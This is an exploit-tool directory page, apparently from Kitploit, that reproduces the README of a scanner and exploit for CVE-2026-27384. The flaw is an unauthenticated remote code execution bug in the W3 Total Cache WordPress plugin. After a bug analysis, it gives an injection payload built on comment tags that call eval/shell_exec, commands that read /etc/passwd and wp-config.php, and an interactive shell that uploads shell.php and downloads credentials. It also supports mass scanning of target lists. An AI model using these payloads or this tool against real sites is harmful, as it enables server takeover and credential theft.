Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27384 — Escáner automatizado y exploit para CVE-2026-27384, un RCE no autenticado en W3 Total Cache mediante inyección de mfunc/eval(). Incluye autodetección, 48 variantes de payload, shell interactiva y escaneo por lotes. | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-27384
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Escáner automatizado y exploit para CVE-2026-27384, un RCE no autenticado en W3 Total Cache mediante inyección de mfunc/eval(). Incluye autodetección, 48 variantes de payload, shell interactiva y escaneo por lotes.

Ver Repositorio
4hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-27384

CVE-2026-27384 — Escáner de RCE mfunc/eval() de W3 Total Cache

Plugin: W3 Total Cache Slug del plugin: w3-total-cache ID de CVE: CVE-2026-27384 Puntuación CVSS: 9.8 (Crítica) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de vulnerabilidad: Ejecución arbitraria de código sin autenticación (Inyección de código mediante eval()) Versiones afectadas: <= 2.9.1 Versión parcheada: 2.9.2 Fecha de publicación: 24 de febrero de 2026 Investigador: CODE WHITE GmbH


📌 Resumen de la vulnerabilidad

La función Dynamic Fragment Caching del plugin W3 Total Cache (sistema mfunc/mclude) ejecuta con eval() el código PHP incrustado en comentarios HTML. El token W3TC_DYNAMIC_SECURITY, que debería proteger esta función, puede omitirse mediante la combinación de varios errores de código.

Resultado: Sin necesidad de autenticación, se puede ejecutar código PHP arbitrario en el servidor simplemente enviando un comentario de WordPress.


🔍 Tabla de resumen de la vulnerabilidad

CampoValor
ID de CVECVE-2026-27384
CVSS9.8 Crítica
TipoInyección de código → RCE (CWE-94)
Versión afectada<= 2.9.1
Versión parcheada2.9.2
AutenticaciónNo requerida
Interacción del usuarioNo requerida
Requisito previoW3TC_DYNAMIC_SECURITY debe contener metacaracteres de regex

⚙️ Análisis técnico

Característica: mfunc / mclude

La función Dynamic Fragment Caching de W3TC permite a los desarrolladores incrustar código PHP en el HTML de la página mediante etiquetas de comentario especiales:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC procesa estas etiquetas al servir la página desde la caché: el PHP incrustado se ejecuta con eval() y su salida se escribe en lugar del bloque de comentario.


Bug 1 — Falta preg_quote() (PgCache_ContentGrabber.php)

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Si el token es '.', la regex se convierte en <!--\s*mfunc\s*.(.*)--> → cualquier carácter individual actúa como token.


Bug 2 — Incompatibilidad entre \s* y \s+

FunciónPatrónComportamiento
_parse_dynamic() — ejecutamfunc\s*TOKENAcepta 0 espacios ✅
strip_dynamic_fragment_tags_from_string() — limpiamfunc\s+TOKENRequiere al menos 1 espacio ❌
Saldırgan payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfunc ile token arasında BOŞLUK YOK

strip fonksiyonu:   \s+ → eşleşmez → payload KALIR
execution regex:    \s* → eşleşir  → eval() ÇALIŞIR

Bug 3 — Validación de token ausente (_has_dynamic())

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Cadena de ataque completa

W3TC_DYNAMIC_SECURITY = '.'   (regex metacharacter — herhangi bir karakter)
        │
        ▼
Saldırgan yorum gönderir:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  \s+ gerektirir, boşluk yok → ATLATILDI ✅
        │
        ▼
Yorum veritabanına kaydedilir, sayfa cache'lenir
        │
        ▼
İkinci HTTP isteği → W3TC cache'den sunar
  _has_dynamic() → mfunc\s*.  → 'A' eşleşir → true döner
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' eşleşir
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Impacto del ataque

Sin autenticación, se puede ejecutar código PHP arbitrario en el servidor con los privilegios del servidor web:

  • ✅ Compromiso total del servidor
  • ✅ Lectura/escritura/eliminación de archivos de WordPress y de la base de datos
  • ✅ Instalación de web shells / backdoors
  • ✅ Pivotaje a la red interna
  • ✅ Filtración de credenciales, claves de API y datos de usuarios

🚀 Instalación

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

requests
beautifulsoup4

📖 Uso

Modos

ModoDescripción
autoEscanea el sitio → encuentra la página de comentarios → explota (por defecto)
exploitExplotación directa — con la URL del post
shellShell interactiva
detectSolo detección de W3TC

Modo Auto — Todo automático

python w3tc_rce.py https://hedef.com

El escáner hace lo siguiente:

  1. Comprueba si W3TC está instalado
  2. Encuentra páginas con formulario de comentarios mediante sitemap y seguimiento de enlaces
  3. Prueba 48 variantes de payload en cada página
  4. Si tiene éxito, ofrece abrir una shell

Modo Exploit — Directo

# id komutu
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manuel
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Modo Shell — Interactivo

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Cuando se abre la shell, se ejecutan automáticamente whoami, hostname, pwd y uname -a:

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Komutlar: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Modo Detect — Solo detección

python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
    Sürüm  : 2.9.1
    Cache  : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!

Escaneo masivo

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

Con proxy (Burp Suite)

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Todos los parámetros

Descargar herramienta